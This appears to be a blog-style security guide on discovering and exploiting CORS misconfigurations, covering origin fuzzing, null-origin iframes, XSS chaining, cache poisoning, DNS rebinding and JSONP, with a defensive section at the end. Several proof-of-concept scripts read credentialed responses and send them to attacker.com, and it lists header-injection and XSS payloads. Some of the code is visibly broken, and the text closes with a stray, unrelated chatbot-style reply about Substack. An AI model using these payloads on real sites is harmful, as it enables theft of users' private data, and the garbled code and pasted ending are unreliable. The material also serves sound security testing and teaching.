Mastering CORS Misconfigurations: Advanced Discovery and Exploitation
Cross-Origin Resource Sharing (CORS) is a vital browser security mechanism, a controlled relaxation of the Same-Origin Policy (SOP). While designed to enhance web security, subtle misconfigurations can transform CORS from a protector into an attacker's gateway. This guide provides an in-depth exploration of advanced CORS vulnerabilities, focusing on sophisticated discovery and exploitation techniques that go beyond basic checks.
I. CORS Fundamentals: The Foundation of Exploitation
To effectively exploit CORS, one must first grasp its underlying principles and the nuances of how it interacts with the Same-Origin Policy.
The Same-Origin Policy (SOP)
The SOP is a security cornerstone, preventing a document or script from one origin (defined by protocol, domain, and port) from interacting with resources from another.
CORS: Controlled Relaxation of SOP
CORS allows servers to explicitly permit cross-origin requests using specific HTTP headers.
* Origin Header (Request): Automatically sent by the browser, indicating the origin of the request (e.g., https://attacker.com).
* Access-Control-Allow-Origin Header (Response): The server's critical response header. It specifies which origins are allowed to access the resource.
* Can be a specific origin (e.g., https://legit.com).
* Can be a wildcard * (any origin). Note: * cannot be used if Access-Control-Allow-Credentials: true is also set.
* Can be null (for local files, sandboxed iframes).
* Access-Control-Allow-Credentials Header (Response): If true, the browser includes credentials (cookies, Authorization headers, TLS certs) in the cross-origin request and allows the attacker to read the response. This is often the linchpin for practical exploitation.
* Pre-flight Requests (OPTIONS method): For complex requests (non-GET/POST/HEAD, custom headers, specific Content-Type), browsers send a preliminary OPTIONS request. This "handshake" allows the server to declare allowed methods (Access-Control-Allow-Methods) and headers (Access-Control-Allow-Headers) before the actual request.
* Even without a pre-flight, Access-Control-Allow-Origin is needed in the final response to read its content.
* CORS does NOT protect against CSRF inherently. The request might succeed, but the response cannot be read without proper CORS headers.
II. Advanced Discovery: Hunting for Misconfigurations
Effective discovery involves more than just checking Access-Control-Allow-Origin. It demands deep analysis of server behavior and parsing logic.
1. Systematic Origin Fuzzing
This is the cornerstone. Go beyond basic https://attacker.com.
* Subdomain Spoofing/Wildcard Bypass:
* Append attacker domain: https://target.com.attacker.com
* Prepend wildcard/subdomain: https://attacker.com.target.com
* Special characters (browser-dependent):
* Underscores (_): https://target_.attacker.com (Chrome, Firefox).
* Braces ({, }): https://target}.attacker.com (Safari, potentially others).
* Other Punctuations: Experiment with [, ], (, ), ;, @ and URL-encoded versions.
* Port Ambiguity: https://target.com:80@attacker.com, https://target.com:80/path@attacker.com.
* Null Origin Test:
* Send Origin: null from your Burp Repeater.
* Embed your attack code in a sandbox iframe or a local HTML file and make requests:
<iframe sandbox="allow-scripts" srcdoc="<script>
var req = new XMLHttpRequest();
req.open('GET', 'https://vulnerable.com/sensitive', true);
req.withCredentials = true;
req.onload = () => console.log(req.responseText);
req.send();
</script>"></iframe>* Protocol Fuzzing: Test http://attacker.com against https://vulnerable.com if HTTPS is enforced, as some misconfigurations might allow HTTP origins.
* Trailing Slashes/Subpaths: https://attacker.com/ vs https://attacker.com, https://attacker.com/path vs https://attacker.com.
* Case Sensitivity: Test Origin: https://ATTACKER.COM vs https://attacker.com.
2. Host Header and URL Parsing Discrepancies
Many systems use the Host header for internal routing or logging. Inconsistent parsing between a proxy/load balancer and the backend application can be a goldmine.
* Multiple Host Headers:
GET /sensitive HTTP/1.1
Host: vulnerable.com
Host: attacker.com
Origin: https://attacker.comIf the proxy sees vulnerable.com but the backend processes the second Host and then reflects attacker.com in Access-Control-Allow-Origin.
* Obscure Host Header Syntax:
* Host: vulnerable.com:80@attacker.com * Host: vulnerable.com%00attacker.com (Null byte injection) * Host: vulnerable.com\nattacker.com (CRLF injection) * Test X-Forwarded-Host, X-Original-Host, X-Proxy-Host if they're present or might be processed by backend systems for origin validation.3. Pre-flight Request (OPTIONS) Analysis
Don't ignore the OPTIONS response!
* Overly Permissive OPTIONS: An OPTIONS response might be too generous (Access-Control-Allow-Methods: *, Access-Control-Allow-Headers: *, Access-Control-Allow-Origin: *) even if the actual GET/POST is strict. This can sometimes be chained if the server's subsequent request handling is flawed or if Access-Control-Max-Age caches this permissive pre-flight.
* Authentication Bypass in OPTIONS: Some servers don't apply authentication to OPTIONS requests. While you can't read the response, it might reveal internal API structures or hint at further weaknesses if it reflects sensitive information or headers that shouldn't be publicly visible.
4. Local Network Access Pre-flight
Look for:
* Access-Control-Request-Local-Network in requests.
* Access-Control-Allow-Local-Network: true in responses.
* Test bypassing local network checks with Origin: http://0.0.0.0 (Linux/Mac) or external IP addresses of local endpoints, as these might not be considered "local" by some systems.
III. Advanced Exploitation Techniques
Once a misconfiguration is identified, the goal is often data exfiltration or arbitrary action in the victim's context.
1. Dynamic Origin Reflection (Most Common and Critical)
If Access-Control-Allow-Origin echoes your Origin header and Access-Control-Allow-Credentials: true is present.
Exploitation:
* Host malicious JavaScript on https://attacker.com.
* Victim visits https://attacker.com.
* Attacker's JS makes an XHR/Fetch request to https://vulnerable.com/sensitive_data with credentials: 'include' and Origin: https://attacker.com.
* Vulnerable server responds: Access-Control-Allow-Origin: https://attacker.com, Access-Control-Allow-Credentials: true.
* Browser allows attacker.com to read the response, including sensitive data (cookies, tokens, personal info).
* Attacker's JS exfiltrates data to their server.
PoC (JavaScript):
<script> fetch('https://vulnerable.com/sensitive_data', { credentials: 'include' })
.then(response => {
if (response.ok) {
return response.text();
}
throw new Error('Network response was not ok.');
}}
.then(data => {
console.log('Sensitive Data:', data);
// Exfiltrate data to attacker-controlled server
fetch(`https://attacker.com/log?data=${encodeURIComponent(data)}`);
})
.catch(error => console.error('Error fetching data:', error))
</script>2. Exploiting the null Origin
If the server explicitly whitelists Origin: null and Access-Control-Allow-Credentials: true.
Exploitation:
* Craft an HTML file with the malicious JavaScript.
* Embed it in a sandboxed iframe on your malicious page (srcdoc or src="data:text/html,...").
* Sandbox attributes are crucial: allow-scripts, allow-forms, allow-top-navigation (if redirects are needed).
* The iframe's content runs with Origin: null.
* The XHR/Fetch request with credentials goes to https://vulnerable.com/sensitive_data.
* Server responds Access-Control-Allow-Origin: null, Access-Control-Allow-Credentials: true.
* Data read and exfiltrated.
PoC (srcdoc iframe):
<iframe
sandbox="allow-scripts allow-top-navigation"
srcdoc="<script>
fetch('https://vulnerable.com/sensitive_data', { credentials: 'include' })
.then(r => r.text())
.then(data => fetch(`https://attacker.com/log?data=${encodeURIComponent(data)}`))
style="display:none;"
.catch(e => console.error(e));
</script>" style="
display:none;
"style="display:none
></iframe3. Chaining with XSS from a Whitelisted Subdomain
If an XSS exists on a subdomain (sub.vulnerable.com) that's whitelisted by the main application's CORS policy (*.vulnerable.com).
Exploitation:
* Inject malicious JavaScript into the XSS vulnerability on sub.vulnerable.com.
* This injected script, running on a trusted origin (sub.vulnerable.com), can now make cross-origin requests to https://vulnerable.com/sensitive_data.
* Since sub.vulnerable.com is a whitelisted origin, the requests succeed, and the script can read responses and exfiltrate data.
Example (Injected JS on sub.vulnerable.com):
// This script runs from sub.vulnerable.com due to XSS
fetch('https://vulnerable.com/sensitive_data', { credentials: 'include' })
.then(response => response.text())
.then(data => {
// Data exfiltrated from main domain to attacker
fetch(`https://attacker.com/log?data=${encodeURIComponent(data)}`);
});
4. Server-Side Cache Poisoning (via HTTP Header Injection)
This targets caching proxies/CDNs that don't properly sanitize headers.
Exploitation (0x0d injection for IE/Edge):
* Craft a request via Burp Suite (browsers won't send this directly):
GET /cached_resource HTTP/1.1
Origin: trusted.com%0dContent-Type:%20text/html;%20charset=UTF-7
* If the server is vulnerable, the response might contain:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: trusted.com
Content-Type: text/html; charset=UTF-7
* If this response is cached by a proxy, subsequent requests from other users to /cached_resource might receive this poisoned response.
* When IE/Edge users receive the charset=UTF-7 content, a stored XSS (e.g., <script src="data:,alert(1)"></script> encoded in UTF-7) could execute.
5. Client-Side Cache Poisoning
This bypasses CORS by manipulating the browser's local cache.
Exploitation:
* Attacker makes a cross-origin request from attacker.com to vulnerable.com.
* Attacker injects malicious JS into a custom header (e.g., X-Injected-Data: <svg/onload=alert(1)>).
* Vulnerable server reflects this header in the response body or another header without proper encoding.
* Crucially, the server must NOT send Vary: Origin in its response.
* The browser caches this malicious response.
* When the victim navigates directly to vulnerable.com, the cached, poisoned response is rendered, executing the injected JS.
PoC (JavaScript):
<script>
function triggerCachedExecution() {
window.location.href = 'https://vulnerable.com/'; // Navigate directly to trigger cache
}
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://vulnerable.com/', true);
xhr.withCredentials = true; // Send credentials for a "real" request
xhr.setRequestHeader('X-Malicious-Header', '<svg/onload=alert(document.domain)>'); // Injected payload
xhr.onload = triggerCachedExecution; // Attempt to trigger navigation after request
xhr.send();
</script>
6. DNS Rebinding
A sophisticated attack to bypass SOP and network segmentation.
Mechanism:
* Phase 1 (Attacker's IP): Attacker controls attacker.com DNS, initially resolving to their malicious server's IP. Victim's browser loads malicious JavaScript from attacker.com.
* Phase 2 (Target's Internal IP): Attacker rapidly changes attacker.com's DNS record (low TTL) to point to an internal IP (e.g., 127.0.0.1, 10.0.0.1) within the victim's network.
* DNS Cache Expiration: After the TTL expires, the victim's browser re-resolves attacker.com to the internal IP.
* SOP Bypass: The malicious JavaScript (still running in attacker.com's origin) can now make requests to attacker.com, which now resolves to the internal target. The browser believes these are same-origin requests, bypassing SOP and accessing internal resources.
Variations:
* DNS Cache Flooding (Service Workers): Force re-resolution by flooding the DNS cache via a Service Worker, making the victim's browser re-resolve the attacker's domain to the internal IP (127.0.0.1 typically).
* Multiple DNS Records (DNS Cache): Attacker provides two IPs (public attacker IP, then internal target IP) for the same domain. If the browser first hits the attacker's IP, the attacker can then stop responding, causing the browser to try the second IP, enabling the bypass.
Tools: DNSrebinder, Singularity of Origin.
Localhost target (Windows): 127.0.0.1
Localhost target (Linux/Mac): 0.0.0.0
7. XSSI (Cross-Site Script Inclusion) / JSONP
Exploits that <script> tags ignore SOP.
Exploitation:
* Identify sensitive JSON or dynamic JS endpoints that return data with a Content-Type: application/javascript or text/javascript.
* If the endpoint accepts a callback parameter (JSONP) and reflects data: https://vulnerable.com/data?callback=parseData.
* Attacker embeds a <script> tag:
<script src="https://vulnerable.com/data?callback=parseData"></script>
<script>
function parseData(sensitiveInfo) {
// Attacker's function now receives
sensitiveInfo
fetch(`https://attacker.com/logdata=${enc
odeURIComponent(JSON.stringify(sensitiveI
nfo))}`);)
</scriptThis bypasses CORS as script inclusion doesn't fall under SOP restrictions for reading content.
IV. Defensive Countermeasures: Real Protection
True security against advanced CORS attacks requires a multi-layered approach.
* Strict Access-Control-Allow-Origin Whitelisting:
* NEVER reflect the Origin header dynamically.
* Explicitly list full, canonical origins (https://app.example.com, not *.example.com or regexes unless absolutely necessary and rigorously tested).
* Avoid whitelisting null unless there's an extremely strong, isolated use case.
* Secure Access-Control-Allow-Credentials: Only set to true when absolutely required for the specific origin, and ensure that origin is impeccably secured.
* Input Validation on All Headers: Thoroughly sanitize and validate all HTTP headers, especially Origin, Host, and any custom headers, against injection techniques (CRLF, null bytes, special characters).
* Robust Authentication and Authorization: CORS complements, but does not replace, strong authentication and authorization. Ensure every sensitive endpoint requires proper credentials regardless of its origin.
* Vary: Origin Header for Caching: If responses can vary based on the Origin header (e.g., dynamic content, language), always include Vary: Origin to prevent cache poisoning by proxies or CDNs.
* Strict Pre-flight Handling: Ensure OPTIONS responses are as restrictive as possible and do not reveal information or grant excessive permissions.
* Prevent XSS: XSS remains a critical vector for bypassing CORS. Implement strong Content Security Policies (CSPs), output encoding, and secure coding practices.
* DNS Security: Implement strong DNS security measures, including longer TTLs for critical records (where applicable), and monitor for DNS changes.
* Private Network Access (PNA): Keep an eye on the WICG PNA proposal (https://wicg.github.io/private-network-access/). This aims to enforce pre-flight requests for public servers accessing private networks, adding a significant layer of defense.
* Regular Security Audits: Periodically review CORS configurations, especially after deployments or changes to web server/proxy configurations.
V. Advanced Tools for CORS Assessment
* Burp Suite (Manual & Extensions): Essential for crafting custom requests, manipulating headers, and analyzing responses. Many BApp Store extensions (e.g., CORScanner, CORS Auditor) automate common checks.
* CORScanner: Python tool for scanning multiple hosts for common CORS misconfigurations.
* Corsy: Another Python-based scanner focused on CORS vulnerabilities.
* DNSrebinder / Singularity of Origin: Dedicated tools for setting up and executing DNS rebinding attacks.
* Custom Scripts: For highly specific scenarios or chaining attacks, Python with requests or JavaScript with fetch/XMLHttpRequest in a browser console are indispensable.
Understanding CORS misconfigurations at this advanced level is crucial for both offensive and defensive security professionals. It highlights that even seemingly minor flaws can, when chained together, lead to devastating compromises. Continuous learning and testing remain paramount in the ever-evolving landscape of web security.
“Follow me more on Substack.”
Currently, I can’t follow people, but here’s how you can encourage your audience to follow you more on Substack effectively: